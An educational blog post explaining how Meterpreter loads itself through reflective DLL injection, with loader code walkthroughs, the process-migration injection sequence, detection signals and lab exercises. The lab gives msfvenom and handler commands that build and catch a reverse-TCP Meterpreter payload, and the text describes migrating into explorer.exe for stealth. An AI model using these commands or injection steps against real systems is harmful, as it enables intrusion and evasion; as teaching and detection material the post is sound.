Meterpreter Internals β How Reflective DLL Injection Actually Works
A deep dive into Stephen Fewerβs Reflective DLL Injection (RDI) architecture, step-by-step breakdown of ReflectiveLoader, and how Meterpreter uses RDI to achieve fileless, in-memory execution.

During our journey of penetration testing and solving labs, we realize how useful Meterpreter actually is. That got me thinkingβββwhat actually is Meterpreter under the hood, and how does it do what itΒ does?
So I did some research, used AI to understand the concept behind itβββsomething called Reflective DLL Loadingβββand put together a complete reading material thatβll help you understand itΒ too.
Now letβs hopΒ in!
Meterpreter Never Touched Your DiskβββHereβs Exactly How ThatβsΒ Possible
You run exploit. Few seconds pass. ShellΒ drops.
meterpreter >Youβre in.
Now hereβs the thingβββgo check the target machine. Open File Explorer. Search for any newΒ .exe. Any newΒ .dll. Anything suspicious sitting onΒ disk.
Youβll findΒ nothing.
Task Manager shows notepad.exe running. Perfectly normal. Just a guy taking notes. Except Meterpreter is living inside it, sending your commands back to Kali, completely invisible to anyone who doesnβt know where toΒ look.
Most people hear βMeterpreter runs in memoryβ and nod like they understood something. They didnβt. That sentence explains nothing. Itβs like saying βthe engine makes the car go.β Technically true. Completely useless.
Hereβs the question that actuallyΒ matters:
Windows loads DLLs using LoadLibrary. LoadLibrary requires a file path. Thereβs no file. So how is anythingΒ loading?
Thatβs what this blog answers. And the answerβββReflective DLL Injectionβββis one of the most elegant pieces of systems programming in offensive security. By the end of this post, youβll understand exactly whatβs happening at the memory level every time you get a Meterpreter session.
Letβs get intoΒ it.
Chapter 1: What LoadLibrary Actually Does (Itβs Not What YouΒ Think)
Before we understand how Meterpreter bypasses the loader, we need to understand the loader itself. Because most people have a mental model that looks likeΒ this:
You call LoadLibrary("something.dll") β Magic happens β DLL is now loaded. Cool.That mental model is wrong. And the gap between βmagic happensβ and what actually happens is exactly where reflective injection lives.
Hereβs what LoadLibrary actually does when you callΒ it:
The Real Chain ofΒ Calls
When you call LoadLibrary(βversion.dllβ) in your code, youβre not calling a function that loads DLLs. Youβre calling a function in kernel32.dll that calls a function in ntdll.dll that actually loadsΒ DLLs.
Your Code β β calls LoadLibraryA("version.dll") βΌkernel32.dll β Win32 wrapper. Validates arguments. Does bookkeeping. β β calls LdrLoadDll() βΌntdll.dll β The REAL loader. This is where the work happens. β β calls NtOpenFile, NtCreateSection, NtMapViewOfSection βΌWindows Kernel β Actual memory operations happen hereThink of it like ordering food at a restaurant. You (your code) tell the waiter (kernel32) what you want. The waiter writes it down and hands it to the kitchen (ntdll). The kitchen actually cooks it (kernel). You just said βI want a burger.β You had no idea about the 15 steps that happened in theΒ kitchen.
The 5 Things the LoaderΒ Does
LdrLoadDll inside ntdll.dll performs five completely distinct operations. Every single one matters for understanding reflective injection.
1. Opens the file fromΒ disk
NtOpenFile("C:\Windows\System32\version.dll")The loader takes your DLL name, figures out the full path (using the search order from the DLL Hijacking blog), and opens a file handle. This is step one. This is also the hard wallβββno file on disk means this step fails and everything stops.
This is the exact wall that reflective injection has to breakΒ through.
2. Maps the file into memory as a βsectionΒ objectβ
Hereβs a concept most people have never heard of: a sectionΒ object.
Think of a section object as a blueprint that Windows creates to represent a file mapped into memory. The loaderΒ calls:
NtCreateSection() // create the blueprint from the fileNtMapViewOfSection() // project the blueprint into the process's memory spaceThe SEC_IMAGE flag on NtCreateSection is important. It tells the kernel: βthis isnβt just a raw fileβββitβs a PE image, map it respecting PE alignment rules.β Without this flag, the bytes land in memory in the wrongΒ layout.
After this step, the DLL bytes are in memory. But the DLL is not usable yet. There are two more problems that needΒ fixing.
3. Applies base relocations
This is the step that confuses most beginners. Letβs use anΒ analogy.
Imagine youβre a contractor building a house. Your blueprints say: βThe kitchen is at coordinates (100, 200) on the plot.β You show up to the actual plot and the available space starts at coordinate (500, 600). Now every room listed in the blueprint is at the wrong place. You need to go through every reference in the blueprint and add the offset: (400,Β 400).
Thatβs exactly what base relocations are.
When a DLL gets compiled, the compiler assumes it will be loaded at a specific address in memoryβββcalled the preferred ImageBase (e.g. 0x10000000). The compiler then hardcodes addresses throughout the binary based on that assumption. ThingsΒ like:
mov rax, 0x10001234 ; "put the address of my_global_variable into rax"That 0x10001234 is ImageBase (0x10000000) + offset_of_variable (0x1234). Itβs burned into the binary at compileΒ time.
Now ASLR (Address Space Layout Randomization)βββa security featureβββloads the DLL at a random address. Say 0x7FF840000000. Now that hardcoded 0x10001234 points to completely wrong memory. The DLL would crash instantly.
TheΒ .reloc section inside the DLL contains a list of every single place where a hardcoded address exists. The loader reads this list and patches eachΒ address:
delta = actual_load_address - preferred_ImageBase = 0x7FF840000000 - 0x10000000 = 0x7FF830000000For every hardcoded address: *address += deltaAfter this, every pointer in the DLL points to the right place. The blueprint coordinates are corrected.
4. Resolves the Import Address TableΒ (IAT)
DLLs donβt live in isolation. version.dll needs functions from kernel32.dll. kernel32.dll needs functions from ntdll.dll. Every DLL has a shopping list of functions it needs from otherΒ DLLs.
But hereβs the problem: those functions are at different memory addresses on every system, every Windows version, every reboot (thanks again,Β ASLR).
The Import Address Table (IAT) is a table of slots inside the DLLβββone slot per imported function. Before the loader runs, those slots contain placeholder values (function names or ordinal numbersβββjust hints). After the loader runs, those slots contain real memory addresses of the actual functions.
The loaderβsΒ process:
For each DLL that version.dll imports from: Load that DLL (recursively, if needed)
For each function version.dll needs from it: Find the function's actual address in memory Write that address into the correct IAT slotAfter this step, when version.dll calls CreateFile, it reads the IAT slot for CreateFile, gets the real address, and jumps there. Without IAT resolution, every function call in the DLL jumps toΒ garbage.
5. CallsΒ DllMain
With relocations patched and imports resolved, the DLL is finally alive. The loader calls the DLLβs entryΒ point:
DllMain(module_handle, DLL_PROCESS_ATTACH, NULL);The DLL initialises itself. Sets up internal state. Does whatever it needs to do onΒ load.
And thenβββthis is the part that matters for detectionβββthe loader registers the DLL in a structure called InMemoryOrderModuleList inside the PEB. The OS now officially knows this DLL is loaded. It has a record of it. Tools like Process Hacker can see it in the ModulesΒ tab.
Meterpreter never goes through any of this. It does all five steps itself. In memory. Without asking the OS forΒ help.
Chapter 2: The PE FileβββThe Map Everything Reads
To understand how the reflective loader works, you need to understand what itβs reading. EveryΒ .exe andΒ .dll on Windows is a PE fileβββPortable Executable format. Itβs a structured container with a very specificΒ layout.
Think of a PE file like a building with a lobby directory:
Ground floor = Headers (the directory β tells you where everything is)Upper floors = Sections (the actual contents β code, data, etc.)Hereβs the fullΒ layout:
ββββββββββββββββββββββββββββββββββββββββββββ DOS Header β β First 64 bytes. Starts with "MZ"β (e_lfanew field β points to NT Headers)ββββββββββββββββββββββββββββββββββββββββββββ€β DOS Stub β β "This program cannot be run in DOS | | mode"β β (nobody cares about this)βββββββββββββββββββββββββββββββββββββββββββ€β NT Headers β β Starts with "PE\0\0" signatureβ ββββββββββββββββββββββββββββββββββββ ββ β File Header β β β Machine type, section countβ ββββββββββββββββββββββββββββββββββββ€ ββ β Optional Header β β β ImageBase, SizeOfImage, EntryPointβ β (NOT actually optional) β β DataDirectory arrayβ ββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββββββββββββββ€β Section Headers Array β β One entry per sectionβ [ .text header ][ .data header ] ... ββββββββββββββββββββββββββββββββββββββββββββ€β Sections ββ ββββββββββββ β .text (executable code)ββ ββββββββββββ€ β .data (global variables)ββ ββββββββββββ€ β .rdata (strings, IAT) ββ ββββββββββββ β .reloc (relocation table)ββββββββββββββββββββββββββββββββββββββββββββLetβs walk through what actuallyΒ matters.
The DOS HeaderβββThe Old Guy at the FrontΒ Desk
The very first structure in every PE file. It exists for backward compatibility with DOS (yes, from the 1980s). Most of it is completely irrelevant today.
The only field that matters: e_lfanew at offset 0x3C. Itβs a 4-byte value that tells you the offset to the NT Headers. The reflective loader reads this to skip the entire DOS section and jump straight to the realΒ headers.
Also: the first two bytes are always 4D 5AβββASCII for MZ (initials of Mark Zbikowski, one of the DOS architects). This MZ signature is how the reflective loader scans backwards through memory to find the start of its own PE. Itβs looking for that exact magicΒ number.
The Optional HeaderβββThe Most Important Thing in theΒ File
Called βoptionalβ by the spec. Absolutely not optional in practice. This is the loaderβs primary reference document for every decision itΒ makes.
The reflective loader reads these specificΒ fields:
FieldWhat It Means in Plain EnglishImageBaseβIβd like to be loaded at address 0x180000000 pleaseβSizeOfImageβI need exactly X bytes of memory when fully loadedβSizeOfHeadersβThe first X bytes are headersβββcopy those firstβAddressOfEntryPointβCall this address (+ image base) to run DllMainβDataDirectory[1]βThe IAT info starts hereβDataDirectory[5]βThe relocation table startsΒ hereβ
One concept youβll see everywhere: RVA (Relative Virtual Address).
Almost nothing in PE headers is an absolute address. Everything is a relative offset from the image base. To get an actual usableΒ address:
Real Address = Where the DLL actually loaded + RVAReal-world analogy: your friend says βmeet me at house number 42 on Oak Street.β Thatβs an absolute address. RVA is like saying βmeet me 42 houses down from where Iβm standing.β The actual location depends on where youβre currently standing (the imageΒ base).
The reflective loader converts RVAs to real addresses constantly as it works through theΒ file.
Section HeadersβββThe Table ofΒ Contents
Immediately after the Optional Header is an array of IMAGE_SECTION_HEADER structuresβββone per section. Each entry is like a card in a filingΒ cabinet:
.text section header: Name: ".text" VirtualAddress: 0x1000 β where it goes IN MEMORY (RVA) VirtualSize: 0x4A20 β how big it is in memory PointerToRawData: 0x400 β where it is IN THE FILE SizeOfRawData: 0x4A00 β how many bytes in the fileThe loader uses these to know: βtake the bytes starting at file offset 0x400, and copy them to memory offset 0x1000 (relative to imageΒ base).β
Thereβs often a size mismatch between SizeOfRawData and VirtualSize. The extra space in memory gets zero-padded. The loader handles this automatically.
Chapter 3: Base RelocationsβββThe Most Underexplained Thing inΒ Windows
Letβs go deep on this because almost every blog handwaves it with βASLR randomizes addresses so the loader patches them.β Thatβs notΒ enough.
The Structure of theΒ .relocΒ Section
TheΒ .reloc section is organised in blocks. Each block covers a 4KB page of the PEΒ image:
βββββββββββββββββββββββββββββββββββββββββββββββ IMAGE_BASE_RELOCATION Block ββ ββββββββββββββββ¬ββββββββββββββββββββββββ ββ βVirtualAddressβ 0x1000 β β β "this block covers the page at | | | | RVA 0x1000"β ββββββββββββββββΌββββββββββββββββββββββββ€ ββ βSizeOfBlock β 0x28 β β β total size of this blockβ ββββββββββββββββ΄ββββββββββββββββββββββββ€ ββ β Entry: 0xA010 (type=10, offset=010)β β β patch address at page_base + 0x010β β Entry: 0xA048 (type=10, offset=048)β β β patch address at page_base + 0x048β β Entry: 0xA0C4 (type=10, offset=0C4)β β β patch address at page_base + 0x0C4β βββββββββββββββββββββββββββββββββββββββββ βββββββββββββββββββββββββββββββββββββββββββββββ (repeat for every 4KB page that has relocations)Each 16-bit entry in theΒ block:
- Top 4 bits = type. For x64, this is 0xA (meaning DIR64βββpatch a full 8-byte address). For x86, itβs 0x3 (HIGHLOWβββpatch a 4-byte address). Type 0x0 means padding, skipΒ it.
- Bottom 12 bits = offset within the 4KB page where the patchΒ goes
So entry 0xA048 means: type=A (DIR64), offset=0x048 into this page. Patch the 8 bytes at image_base + block.VirtualAddress +Β 0x048.
The Math the Reflective LoaderΒ Does
# Pseudocode for what the relocation loop doesdelta = new_base - preferred_ImageBase# e.g. delta = 0x7FF840000000 - 0x180000000 = 0x7FF6C0000000reloc_block = new_base + DataDirectory[5].VirtualAddresswhile reloc_block is valid: page_rva = reloc_block.VirtualAddress entries = (reloc_block.SizeOfBlock - 8) / 2 # 8 bytes for the header
for each entry in entries: type = entry >> 12 # top 4 bits offset = entry & 0xFFF # bottom 12 bits
if type == 0xA: # DIR64 (x64) address_to_patch = new_base + page_rva + offset *(ULONG_PTR*)address_to_patch += delta
reloc_block = next block # advance by SizeOfBlock bytesChapter 4: The IATβββThe DLLβs PhoneΒ Book
Hereβs a visual of what the IAT looks like before and after resolution:
BEFORE loader resolves IAT:ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ Import Directory ββ βββββββββββββββββββββββββββββββββββββββββββββββ ββ β Importing from: "KERNEL32.dll" β ββ β β ββ β IAT slot for CreateFile: [ "CreateFile" ] β β just a name, not an | | | addressβ β IAT slot for VirtualAlloc: [ "VirtualAlloc" ] ββ β IAT slot for ReadFile: [ "ReadFile" ] ββ βββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββββββββββββββββββββββββββAFTER loader resolves IAT:ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ Import Directory ββ βββββββββββββββββββββββββββββββββββββββββββββββ ββ β Importing from: "KERNEL32.dll" β ββ β β ββ β IAT slot for CreateFile: [ 0x7FF8A1234560 ] β β real address in memoryβ β IAT slot for VirtualAlloc: [ 0x7FF8A1289A00 ] ββ β IAT slot for ReadFile: [ 0x7FF8A1234990 ] ββ βββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββββββββββββββββββββββββββWhen the DLLβs code calls CreateFile, it doesnβt jump directly to an addressβββit reads the IAT slot first, then jumps to whatever address is stored there. Like looking up a contact in your phone before calling them. The name is fixed. The number canΒ change.
The Import Descriptor Structure
For each imported DLL, the Import Directory contains an IMAGE_IMPORT_DESCRIPTOR:
IMAGE_IMPORT_DESCRIPTOR for "KERNEL32.dll":ββββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββββββββββββββ OriginalFirstThunk β β points to Import Name Table (hints) ββ Name β β points to string "KERNEL32.dll" ββ FirstThunk β β points to IAT (where addresses go) βββββββββββββββββββββββββ΄βββββββββββββββββββββββββββββββββββββββββThe resolution loop the reflective loaderΒ runs:
IMAGE_IMPORT_DESCRIPTOR* desc = import_directory;while (desc->Name != 0) { // get the DLL name and load it char* dll_name = new_base + desc->Name; HMODULE dll = LoadLibraryA(dll_name);
// walk the thunk array ULONG_PTR* name_thunk = new_base + desc->OriginalFirstThunk; ULONG_PTR* iat = new_base + desc->FirstThunk;
while (*name_thunk) { if (*name_thunk & IMAGE_ORDINAL_FLAG) { // import by ordinal number (e.g. #42) *iat = GetProcAddress(dll, MAKEINTRESOURCE(*name_thunk & 0xFFFF)); } else { // import by name IMAGE_IMPORT_BY_NAME* by_name = new_base + *name_thunk; *iat = GetProcAddress(dll, by_name->Name); } name_thunk++; iat++; } desc++;}After this runs, every IAT slot has a real address. Every function call in the DLL now works correctly.
Chapter 5: The Reflective LoaderβββBuilding a DLL FromΒ Nothing
Alright. Hereβs where it gets genuinely impressive.
The reflective loader is a small, self-contained piece of code that lives inside the Meterpreter DLL itselfβββexported under the name ReflectiveLoader. When the initial shellcode lands on the target machine, it doesnβt call LoadLibrary. It finds this export and calls it directly.
And ReflectiveLoader wakes up in an awkward situation:
"I exist somewhere in memory. I don't know where. I have no file path. The OS loader didn't load me. My IAT isn't resolved β I can't call any imported functions. My relocations aren't patched β I can't use global variables. I need to load myself. From scratch. Right now."This is like waking up in a foreign country with no phone, no wallet, no ID, and needing to build a house. You have to first figure out where you are, then find basic tools, then do the actual construction.
Hereβs exactly how it doesΒ it:
Step 0ββββWhere Am I?β (The Bootstrap Problem)
The loader needs to find its own base address in memory. It canβt use global variables (relocations not applied). It canβt call functions (IAT not resolved). It hasΒ nothing.
The solution is elegant and veryΒ old:
call get_rip ; "call" pushes the return address (next instruction) onto the stackget_rip:pop rax ; pop that address into rax β now rax = current instruction pointer (RIP)Now it has a pointer somewhere inside itself. It scans backwards through memory, looking for the bytes 4D 5Aβββthe MZ signature that marks the start of a PE file. The first MZ it finds going backwards is the start of its ownΒ DLL.
Memory:... [random bytes] [MZ][PE][headers][.text][.data]...[ReflectiveLoader code] ... β β start of DLL we're executing here ββββββ scan backwards until MZ found ββββββNow it has raw_baseβββa pointer to the start of the raw, unloaded DLLΒ bytes.
Step 0.5βββFinding kernel32.dll Without Calling GetModuleHandle
The loader needs VirtualAlloc, LoadLibraryA, and GetProcAddress to do everything else. But it canβt call themβββtheyβre in the IAT, which isnβt resolvedΒ yet.
Solution: walk the PEB manually.
Every Windows process has a PEB (Process Environment Block)βββa structure in memory that contains everything Windows knows about the process. One of its fields is Ldr, which points to a structure containing a linked list of all loadedΒ modules.
x64: gs:[0x60] β PEB β ββ PEB.Ldr β PEB_LDR_DATA β ββ InMemoryOrderModuleList β βββββββββββ΄ββββββββββ β βLDR_DATA_TABLE_ENTRY β β ntdll.dll βββββββββββββββββββββββ€ β LDR_DATA_TABLE_ENTRYβ β kernel32.dll βββββββββββββββββββββββ€ β LDR_DATA_TABLE_ENTRYβ β kernelbase.dll βββββββββββββββββββββββThe loader walks this linked list, comparing the BaseDllName field of each entry against the string βkernel32.dllβ. When it finds a match, it has kernel32βs baseΒ address.
Then it manually parses kernel32βs export table (same way itβll later parse the IATβββraw pointer arithmetic through PE headers) to find the addresses of VirtualAlloc, LoadLibraryA, and GetProcAddress.
Now it has the three tools it needs to do everything else.
Step 1βββAllocate Memory for the Fully LoadedΒ DLL
LPVOID new_base = VirtualAlloc( NULL, // let OS choose the address SizeOfImage, // from Optional Header β how much space the loaded DLL needs MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE // needs to be writable (copy sections) AND executable (run code));SizeOfImage from the Optional Header tells it the exact amount of memory the DLL needs when fully expanded in memory. VirtualAlloc returns a fresh block of MEM_PRIVATE memoryβββallocated by us, not mapped from aΒ file.
This single factβββMEM_PRIVATE instead of MEM_IMAGEβββis the primary detection signal weβll discussΒ later.
Step 2βββCopy PEΒ Headers
memcpy(new_base, raw_base, SizeOfHeaders);The PE headers go in first. The reflective loader needs them at the new location because every subsequent calculation references new_base + some_RVA. Headers first, then sections.
Step 3βββCopy AllΒ Sections
IMAGE_SECTION_HEADER* section = first_section;for (int i = 0; i < NumberOfSections; i++, section++) { void* dest = new_base + section->VirtualAddress; // where it goes in memory void* src = raw_base + section->PointerToRawData; // where it is in the file
memcpy(dest, src, section->SizeOfRawData);}Each section gets copied from its file position to its correct memory position.Β .text code lands at its VirtualAddress RVA.Β .data at its RVA.Β .reloc at its RVA. Everything is in the right place relative to new_base.
Step 4βββApply Base Relocations
ULONG_PTR delta = (ULONG_PTR)new_base - optional_header->ImageBase;if (delta != 0) { // find the .reloc section IMAGE_BASE_RELOCATION* reloc = new_base + DataDirectory[5].VirtualAddress;
while (reloc->VirtualAddress) { WORD* entry = (WORD*)(reloc + 1); // entries start right after the header int count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2;
for (int i = 0; i < count; i++, entry++) { if ((*entry >> 12) == IMAGE_REL_BASED_DIR64) { // type 10 = x64 ULONG_PTR* patch = new_base + reloc->VirtualAddress + (*entry & 0xFFF); *patch += delta; } } reloc = (IMAGE_BASE_RELOCATION*)((BYTE*)reloc + reloc->SizeOfBlock); }}Every hardcoded address in the DLL gets the delta added. After this, all internal pointers work correctly.
Step 5βββResolve theΒ IAT
IMAGE_IMPORT_DESCRIPTOR* desc = new_base + DataDirectory[1].VirtualAddress;while (desc->Name) { HMODULE dll = LoadLibraryA(new_base + desc->Name);
ULONG_PTR* thunk = new_base + desc->OriginalFirstThunk; ULONG_PTR* iat = new_base + desc->FirstThunk;
while (*thunk) { if (*thunk & IMAGE_ORDINAL_FLAG) *iat = (ULONG_PTR)GetProcAddress(dll, MAKEINTRESOURCE(*thunk & 0xFFFF)); else *iat = (ULONG_PTR)GetProcAddress(dll, ((IMAGE_IMPORT_BY_NAME*)(new_base + *thunk))->Name);
thunk++; iat++; } desc++;}Every IAT slot filled. Every imported function now has a realΒ address.
Step 6βββCallΒ DllMain
DLLMAIN entry_point = (DLLMAIN)(new_base + optional_header->AddressOfEntryPoint);entry_point((HINSTANCE)new_base, DLL_PROCESS_ATTACH, NULL);DllMain fires. Meterpreter initialises. It reads its configuration (C2 IP, port, encryption keyβββbaked in at payload generation time), establishes an encrypted connection back to your listener, and waits for commands.
You have aΒ session.
The CompleteΒ Picture
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ REFLECTIVE LOADER SEQUENCE ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€β ββ Shellcode executes in target process ββ β ββ Allocates RWX memory region ββ β ββ Downloads Meterpreter DLL bytes over network ββ β ββ Writes DLL bytes into allocated region (raw, unloaded) ββ β ββ Jumps to ReflectiveLoader export inside those bytes ββ β ββ βββββββββββββββββββββββββββββββββββββββββββββββββ ββ β ReflectiveLoader runs: β ββ β β ββ β [0] call/pop β finds own base address β ββ β [0.5] PEB walk β finds kernel32 β resolves β ββ β VirtualAlloc, LoadLibraryA, β ββ β GetProcAddress β ββ β [1] VirtualAlloc(SizeOfImage) β new_base β ββ β [2] Copy PE headers to new_base β ββ β [3] Copy all sections to new_base β ββ β [4] Apply base relocations β ββ β [5] Resolve IAT (LoadLibraryA+GetProcAddress)β ββ β [6] Call DllMain(DLL_PROCESS_ATTACH) β ββ βββββββββββββββββββββββββββββββββββββββββββββββββ ββ β ββ Meterpreter initialises β C2 channel established ββ β ββ meterpreter > β you're in ββ ββ What NEVER happened: ββ β No file written to disk ββ β No NtOpenFile call ββ β No LdrLoadDll call ββ β No entry in PEB InMemoryOrderModuleList ββ β OS loader has no idea this DLL exists ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββChapter 6: How migrate WorksβββMoving Into a Better Neighbourhood
Youβve got your Meterpreter session running inside meter.exe. Thatβs your processβββthe one the target launched when they ran your payload. Problem is, meter.exe is suspicious. The user might close it. It might get flagged. You want to move into something more permanent and trustworthy.
Thatβs what migrateΒ does.
meterpreter > migrate -N explorer.exeUnder theΒ hood:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ migrate sequence βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€β ββ 1. OpenProcess(explorer.exe PID, PROCESS_ALL_ACCESS) ββ β get a handle to explorer.exe ββ ββ 2. VirtualAllocEx(explorer_handle, SizeOfImage, ββ MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)β β allocate memory INSIDE explorer.exe's address spaceββ ββ 3. WriteProcessMemory(explorer_handle, allocation, ββ meterpreter_dll_bytes, size) ββ β write our DLL bytes into explorer's memory ββ ββ 4. CreateRemoteThread(explorer_handle, ReflectiveLoader)ββ β create a thread in explorer that runs our loader ββ ββ 5. ReflectiveLoader runs INSIDE explorer.exe ββ β same 7 steps as before ββ β Meterpreter re-initialises inside explorer ββ ββ 6. Old session (in meter.exe) closes ββ New session (in explorer.exe) opens ββ βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββIf you read the Process Hollowing blogβββevery single API in steps 1β4 is familiar. OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread. Same primitives, different goal. Hollowing replaces a processβs code. Migration adds Meterpreter to a running process alongside its existingΒ code.
After migration, Meterpreter lives inside explorer.exe. Explorer is long-lived. It has network access in many configurations. It looks completely normal doingβ¦ explorer things. Nobody questions explorer making network connections the way theyβd question meter.exe doingΒ it.
This is why migrate to explorer.exe or svchost.exe is standard post-exploitation hygiene.
Chapter 7: DetectionβββYouβre Stealthy, Not Invisible
Hereβs the hard truth: reflective injection is hard to detect with traditional tools. Itβs not hard to detect with the rightΒ tools.
Signal 1βββMEM_PRIVATE Executable Memory With No BackingΒ File
This is the biggest one. Understand the difference between two types ofΒ memory:
MEM_IMAGE β memory mapped from a file on disk β has a file path in the VAD (Virtual Address Descriptor) tree β what ALL legitimate DLLs look like β Process Hacker shows a file path next to itMEM_PRIVATE β memory allocated with VirtualAlloc β no backing file, no file path β what Meterpreter's DLL region looks like β Process Hacker shows a BLANK "File" columnIn Process Hacker: open the target process β Memory tab β sort by Protection β look for executable (EXECUTE_READ or EXECUTE_READWRITE) regions with blank fileΒ paths.
That blank entry in notepad.exe is your Meterpreter.
EDRs continuously scan for exactly this pattern. It is the single strongest signal of reflective injection.
Signal 2βββThe PEBΒ Gap
Reflective loader never calls LdrLoadDll. So Meterpreterβs DLL is never registered in InMemoryOrderModuleList.
Process Hacker Modules tab β reads the PEB module list β Meterpreter NOT hereProcess Hacker Memory tab β reads the VAD tree β Meterpreter IS here (as MEM_PRIVATE)The gap between those two lists is the exact footprint of reflective injection. Advanced EDRs cross-reference them continuously.
Signal 3βββPAGE_EXECUTE_READWRITE (The Big RedΒ Flag)
The reflective loader allocates memory as RWXβββreadable, writable, AND executable. In the sameΒ region.
Legitimate Windows behaviour almost never does this. YourΒ .text section is PAGE_EXECUTE_READβββyou can execute it but not write to it (thatβs a security feature). The only legitimate exceptions are JIT compilers in browsers and theΒ .NETΒ CLR.
An RWX region in notepad.exe? Thatβs Meterpreter.
Better implementations do change to PAGE_EXECUTE_READ after loading. But the allocation event still firesβββand EDRs watch allocation permission patterns.
Signal 4βββThe migrate EventΒ Sequence
migrate generates a very specific sequence of telemetry events in tight time correlation:
Timeline of events during migrate:βββββββββββββββββββββββββββββββββββββββββββββββββT+0.000s Sysmon Event 10: meter.exe opens explorer.exe (with PROCESS_VM_WRITE | PROCESS_VM_OPERATION access)
T+0.001s Sysmon Event 8: CreateRemoteThread in explorer.exe (thread start address = inside a MEM_PRIVATE region)βββββββββββββββββββββββββββββββββββββββββββββββββA process writing to another process and immediatelycreating a thread in it = textbook injection signature.A single SIEM rule correlating Events 10 and 8 within a 5-second window catches migrate almost everyΒ time.
LabβββSee ItΒ Yourself
What you need: Kali with Metasploit, Windows lab VM, Process Hacker, WinDbg, CFFΒ Explorer
Lab 1βββFind Meterpreter Living inΒ Memory
Generate a stageless payload onΒ Kali:
msfvenom -p windows/x64/meterpreter_reverse_tcp \ LHOST=<your_kali_ip> \ LPORT=4444 \ -f exe -o meter.exeStart a listener:
use exploit/multi/handlerset payload windows/x64/meterpreter_reverse_tcpset LHOST <your_kali_ip>set LPORT 4444runRun meter.exe on your Windows VM. Get the session. Then on the WindowsΒ VM:
- Open Process Hacker β find meter.exe β right-click β Properties β MemoryΒ tab
- Sort by the Protection column
- Look for a region marked RWX or RX with nothing in the FileΒ column
Questions to answer yourself:
- What type is that regionβββMEM_PRIVATE or MEM_IMAGE?
- Does it show up in the ModulesΒ tab?
- What is its baseΒ address?
Lab 2βββThe PEB GapΒ (WinDbg)
Attach WinDbg to the meter.exe process.Β Run:
!pebRead the loaded module list it prints. Scan for Meterpreter. It wonβt beΒ there.
Now run:
!address -f:MEM_PRIVATEFind executable private memory regions. Youβll see the Meterpreter allocation. In memory, fully functional, completely invisible to theΒ PEB.
The gap between those two outputs = the footprint of reflective injection.
Lab 3βββSee Relocations in CFFΒ Explorer
Open C:\Windows\System32\version.dll in CFF Explorer:
- Optional Header β find Image Baseβββwrite itΒ down
- Section Headers β findΒ .reloc sectionβββsee how large itΒ is
- Now open Process Hacker β Modules tab β find version.dll β look at its actual loadΒ address
Calculate:
delta = actual_load_address - ImageBaseThis delta is what the OS loader computed and added to every relocation entry when loading this DLL. The reflective loader computes this exact same number for Meterpreterβs DLL atΒ runtime.
The BiggerΒ Picture
Letβs zoomΒ out.
The reflective loader isnβt magic. It isnβt some mystical bypass that exploits a Windows vulnerability. Itβs just a reimplementation of five things ntdll.dll already doesβββwritten in position-independent code, embedded inside the DLLΒ itself.
Find yourself. Find kernel32. Allocate memory. Copy sections. Patch relocations. Resolve imports. CallΒ DllMain.
Every step maps directly to something Windows normally does with a file. The reflective loader does the same steps without theΒ file.
Thatβs the insight worth taking from this entireΒ blog:
Meterpreter doesnβt bypass the loading process. It replacesΒ it.
And once you understand what that loading process actually isβββwhat LoadLibrary does under the hood, why relocations exist, how the IAT worksβββthe reflective loader becomes completely readable. Thereβs no mystery left. Just Windows internals applied very cleverly.
This blog is part of an ongoing Windows internals series. Every post builds on the previous oneβββstart from Blog 1 for the full foundation.